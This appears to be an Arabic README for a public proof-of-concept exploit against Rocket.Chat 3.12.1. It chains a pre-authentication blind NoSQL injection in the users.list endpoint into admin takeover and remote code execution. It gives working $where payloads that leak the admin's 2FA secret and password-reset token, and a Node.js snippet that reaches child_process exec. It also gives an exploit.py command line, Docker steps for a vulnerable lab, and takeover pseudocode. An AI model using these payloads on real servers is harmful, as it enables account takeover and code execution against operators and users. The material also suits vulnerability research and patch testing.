
حقن NoSQL غير مصادق عليه أعمى يؤدي إلى تنفيذ تعليمات برمجية عن بعد في Rocket Chat 3.12.1
حقن NoSQL أعمى قبل المصادقة يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد في Rocket Chat 3.12.1
لذا فالمستخدم المسؤول على الأرجح محمي بواسطة 2fa. لذلك حتى لو قمنا بتغيير كلمة مرور المسؤول من خلال (1) سيطلب رمز 2fa عند تسجيل الدخول.
نقطة النهاية لواجهة برمجة التطبيقات users.list تأخذ معامل query وهو معرض لحقن NoSQL. نحن أيضًا قادرون على استرداد البيانات عن طريق إلقاء خطأ.
نقوم بتشغيل الاستعلام التالي للحصول على سر 2fa للمسؤول: {"$where":"this.username==='admin' && (()=>{ throw this.services.totp.secret })()"}
بعد ذلك نقوم فقط بـ (1) لإعادة تعيين كلمة مرور المسؤول واستخدام سر 2fa لإنشاء رمز يمكننا استخدامه لتسجيل الدخول.
مُحدّث: يمكنك أيضًا استرداد رمز إعادة التعيين بنفس الطريقة التي استرَدَدت بها سر 2fa: {"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');
python3 exploit.py -u "[email protected]" -a "[email protected]" -t "http://rocket.local"
docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1
ملاحظة: إذا كنت لا تريد حماية المسؤول بـ 2FA يمكنك القيام بما يلي.
# Admin Account Takover [ No 2fa ]
forgotpassword(adminmail,target)
token = resettoken(target)
changingpassword(target,token)